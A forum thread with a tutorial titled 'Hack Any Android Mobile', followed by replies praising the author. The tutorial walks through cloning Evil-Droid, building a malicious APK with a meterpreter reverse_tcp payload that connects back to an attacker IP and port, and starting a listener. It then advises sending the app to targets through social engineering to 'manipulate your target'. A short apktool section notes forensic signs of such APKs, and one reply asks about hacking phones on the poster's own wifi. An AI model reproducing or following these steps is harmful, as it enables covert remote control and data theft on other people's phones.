# Generate Android App In 2 Minutes And Hack Any Android Mobile! **URL:** \ **Category:** Tools & Scripts\ **Tags:** hacking, android\ **Created:** [October 23, 2019, 10:20pm UTC](https://onehack.st/t/generate-android-app-in-2-minutes-and-hack-any-android-mobile/61075 "2019-10-23T22:20:38Z")\ **Posts on this page:** 8\ **Page:** 1
**Author:** ![Aina](https://onehack.st/user_avatar/onehack.st/aina/32/167469_2.png) [@Aina](https://onehack.st/u/Aina)\ **Post date:** [October 23, 2019, 10:20pm UTC](https://onehack.st/t/generate-android-app-in-2-minutes-and-hack-any-android-mobile/61075/1 "2019-10-23T22:20:39Z")
  Android is an open source platform where any individual developer can implement ideas into an android application. It’s an big advantage for android developers as well as users who can use tons of applications according to their needs. Android do offers many features but the most vulnerable also. Android do have lot of vulnerabilities which gives an attacker advantage to steal credentials of the target. According to CVE (Common Vulnerability Exposures) android have many vulnerabilities which can be used to bypass android security was demonstrated in the ethical hacking courses offered by International Institute of Cyber Security.   ![image](https://onehack.st/uploads/default/original/3X/9/b/9b368bbf298270cc8330cdeebb466c253658d30b.jpeg) CVE shows many vulnerabilities which are mostly used by attackers. Today we will show a tool called **Evil Droid** which is used to create different payloads to compromise android device. Ethical hacking researcher of international institute of cyber security says this Evil-droid can be used to generates malicious apk to penetrate android devices. - Evil-Droid has been installed on Kali Linux 2018.4 amd64. - For cloning type **git clone https://github.com/M4sc3r4n0/Evil-Droid.git** - Type **cd Evil-Droid** - Type **chmod u+x evil-droid** ![image](https://onehack.st/uploads/default/original/3X/d/d/ddb8573135f36821101aca8ca7316675ef11478d.png) - Type **./evil-droid** ![image](https://onehack.st/uploads/default/original/3X/5/d/5dc73e460ba50408b48f0322c4c3ddbde36e0cb2.jpeg) ======================SNIP======================== ![image](https://onehack.st/uploads/default/original/3X/0/1/019ece70add7b5195f8fc3f0a3f1a36ea65be73e.jpeg) - Type **1** - To start APK MSF ![image](https://onehack.st/uploads/default/original/3X/d/6/d66ca438815da1a9ce6add63c7008fe12e4227b6.jpeg) - Type local IP address (attacker’s IP address) Type **192.168.1.5** ![image](https://onehack.st/uploads/default/original/3X/c/7/c7ef590ef855b66309de5a8451eb6d11862a358d.jpeg) - Type port number to listen Type **4444** ![image](https://onehack.st/uploads/default/original/3X/9/f/9fad227680b24ba53eadf5c2ba39f80ac8e5f4e2.jpeg) - Type malicious apk name. Type **testapk** ![image](https://onehack.st/uploads/default/original/3X/b/5/b547087cd82d9971e575b467cdaf6cdd20795935.jpeg) - Select **android/meterpreter/reverse\_tcp** ![image](https://onehack.st/uploads/default/original/3X/b/c/bcdd323f3f096ee3442f500b94544a9ae687e8f6.jpeg) - Select **Multi handler** ![image](https://onehack.st/uploads/default/original/3X/3/d/3d1dc860c94d00dfbb8fa8b897dd308a0ac48162.jpeg) - Then click on **OK** ![image](https://onehack.st/uploads/default/original/3X/e/2/e24b47ccccb99fd1b30ebef72f1bd53af437914b.jpeg) - Evil-droid has created the malicious app. Now you can send app using to the target by social engineering. - For testing we have used **Android 4.4** iso. Download Android 4.4 from : **[https://sourceforge.net/projects/android-x86/files/latest/download](https://sourceforge.net/projects/android-x86/files/latest/download)** - We have started **live boot** in **Vmware** workstation. - Install the malicious **test apk** into the **android 4.4** - Before installing it will ask for to accept unknown sources to be on. Turn on Unknown sources & then install test.apk ![image](https://onehack.st/uploads/default/original/3X/b/7/b71dd72eed90d88b443a3f5b01990517ac03ae4e.png) - As **test.apk** is opened in the android. ![image](https://onehack.st/uploads/default/original/3X/d/6/d65fca9bd9052dc4464e33d9b989ab2a188312c9.png) - A session will be created in Evil-droid listener. Another terminal will open automatically for creating & running session. ![image](https://onehack.st/uploads/default/original/3X/9/5/95c68b2ad54b2a17b4991b3077a8f0fa75168b99.jpeg) - Evil-droid meterpreter offers same commands as metasploit meterpreter has. You can eaisly manipulate your target. - For another testing we have used **Android 7.1** iso. Download Android 7.1 from : **[https://osdn.net/projects/android-x86/downloads/67834/android-x86\_64-7.1-r2.iso/](https://osdn.net/projects/android-x86/downloads/67834/android-x86_64-7.1-r2.iso/)** - We have started **live boot** in **Vmware** workstation. - Install the malicious **test apk** into the **android 7.1** - Before installing it will ask for to accept unknown sources to be on. Turn on Unknown sources & then install test.apk. ![image](https://onehack.st/uploads/default/original/3X/c/e/ced25fa96b49735fec3ec032d79f013aaa9d4d5d.jpeg) - As **test.apk** is opened in the android. ![image](https://onehack.st/uploads/default/original/3X/4/c/4c9222d222d2e3c121d469267993b812125c22ee.jpeg) - A session will be created in Evil-droid listener. - Another terminal will open automatically for creating & running session. ![image](https://onehack.st/uploads/default/original/3X/2/0/207d3383ed9e16b5dd59a159ca13ebef1d2226d2.jpeg) - Evil-droid meterpreter offers same commands as metasploit meterpreter has. You can eaisly manipulate your target. Same exploitation to android devices can be done using FATRAT. #### Reversing Mailcious Apk Generated by Evil-Droid :- For doing reverse engineering of any android application there are various tools which are used to decompile APKs, according to ethical hacking expert. But most popular decompiler known as **apktool** which is used to decompile android applications. We have used apktool which comes pre-installed in **Kali Linux 2018.4** (amd64). - Open another terminal type **apktool -h** ``` root@kali:/home/iicybersecurity/Downloads/Evil-Droid/evil/smali/com/jpzqkxcarh/zsehpukvxy# **apktool -h** Unrecognized option: -h Apktool v2.2.2 - a tool for reengineering Android apk files with smali v2.1.3 and baksmali v2.1.3 Copyright 2014 Ryszard Wiśniewski brut.alll@gmail.com Updated by Connor Tumbleson connor.tumbleson@gmail.com usage: apktool -advance,--advanced prints advance information. -version,--version prints the version then exits usage: apktool if|install-framework [options] -p,--frame-path Stores framework files into . -t,--tag Tag frameworks using . usage: apktool d[ecode] [options] -f,--force Force delete destination directory. ``` - Type **apktool d evil.apk** ``` root@kali:/home/iicybersecurity/Downloads/Evil-Droid# **apktool d evil.apk** I: Using Apktool 2.2.2 on evil.apk I: Loading resource table… I: Decoding AndroidManifest.xml with resources… I: Loading resource table from file: I: Regular manifest package… I: Decoding file-resources… I: Decoding values_/_XMLs… I: Baksmaling classes.dex… I: Copying assets and libs… I: Copying unknown files… I: Copying original files…/root/.local/share/apktool/framework/1.apk ``` - After executing the above query apktool has extracted malicious apk into set of XMLs. These XMLs are used in forensics. - When we analyze further we found that malicious apk created directories with jumbled/random alphabets names. If you scan any normal application it will not create any random directories with such names. This behavior shows the presence of malicious apk. ``` root@kali:/home/iicybersecurity/Downloads/Evil-Droid# **cd /evil/smali/com** root@kali:/home/iicybersecurity/Downloads/Evil-Droid/evil/smali/com# **ls** jpzqkxcarh ```   ## ENJOY & HAPPY LEARNING! 👍 ---
**Author:** ![Insania\_Bao](https://onehack.st/user_avatar/onehack.st/insania_bao/32/13810_2.png) [@Insania\_Bao](https://onehack.st/u/Insania_Bao)\ **Post date:** [October 24, 2019, 1:55am UTC](https://onehack.st/t/generate-android-app-in-2-minutes-and-hack-any-android-mobile/61075/2 "2019-10-24T01:55:04Z")
Thx chief. I wonder how many hours do you have a day? Keep up good work, enlighten the world ---
**Author:** ![E10n](https://onehack.st/user_avatar/onehack.st/e10n/32/22265_2.png) [@E10n](https://onehack.st/u/E10n)\ **Post date:** [October 24, 2019, 3:36am UTC](https://onehack.st/t/generate-android-app-in-2-minutes-and-hack-any-android-mobile/61075/3 "2019-10-24T03:36:33Z")
Legend has it he doesn’t sleep and keeps working… 😅 ---
**Author:** ![Prometheus](https://onehack.st/user_avatar/onehack.st/prometheus/32/34950_2.png) [@Prometheus](https://onehack.st/u/Prometheus)\ **Post date:** [October 24, 2019, 2:56pm UTC](https://onehack.st/t/generate-android-app-in-2-minutes-and-hack-any-android-mobile/61075/4 "2019-10-24T14:56:33Z")
I agree with you @Insania_Bao @E10n he’s a gem, no doubt he’s a God gifted, pleasure to be a part of this forum a place where legend SaM doing his priceless work all the time, also it proof’s how caring person he is who keep helping us all day and night nonstop. thanks a bunch Chief SaM 🥰 ---
**Author:** ![bdsmack](https://onehack.st/letter_avatar_proxy/v4/letter/b/ee7513/32.png) [@bdsmack](https://onehack.st/u/bdsmack)\ **Post date:** [October 24, 2019, 5:42pm UTC](https://onehack.st/t/generate-android-app-in-2-minutes-and-hack-any-android-mobile/61075/5 "2019-10-24T17:42:13Z")
@Aina our legend becoming more depth with full of powerful knowledge in the internet 🙂 Keep up with fun. ---
**Author:** ![Abd\_Elrahman\_Mahmoud](https://onehack.st/user_avatar/onehack.st/abd_elrahman_mahmoud/32/15406_2.png) [@Abd\_Elrahman\_Mahmoud](https://onehack.st/u/Abd_Elrahman_Mahmoud)\ **Post date:** [October 24, 2019, 9:11pm UTC](https://onehack.st/t/generate-android-app-in-2-minutes-and-hack-any-android-mobile/61075/6 "2019-10-24T21:11:58Z")
can I Hack Any Android Mobile! connected to my wlan wifi ---
**Author:** ![nagesh1332](https://onehack.st/user_avatar/onehack.st/nagesh1332/32/24249_2.png) [@nagesh1332](https://onehack.st/u/nagesh1332)\ **Post date:** [October 25, 2019, 9:07am UTC](https://onehack.st/t/generate-android-app-in-2-minutes-and-hack-any-android-mobile/61075/7 "2019-10-25T09:07:19Z")
Another way we create apk .for hacking with the help of metaspolit ---
**Author:** ![hooram](https://onehack.st/user_avatar/onehack.st/hooram/32/160849_2.png) [@hooram](https://onehack.st/u/hooram)\ **Post date:** [January 26, 2026, 6:29am UTC](https://onehack.st/t/generate-android-app-in-2-minutes-and-hack-any-android-mobile/61075/8 "2026-01-26T06:29:55Z")
> [@Aina](#): > > Android is an open source platform where any individual developer can implement ideas into an [android application](https://snaptubeag.com/). It’s an big advantage for android developers as well as users who can use tons of applications according to their needs. Android do offers many features but the most vulnerable also. Android do have lot of vulnerabilities which gives an attacker advantage to steal credentials of the target. According to CVE (Common Vulnerability Exposures) android have many vulnerabilities which can be used to bypass android security was demonstrated in the ethical hacking courses offered by International Institute of Cyber Security. You’re right Android’s open nature is a double-edged sword. It gives developers freedom and users flexibility, but it also increases the attack surface if apps or permissions aren’t handled carefully. That’s why staying updated, using trusted apps, and understanding basic security practices really matters.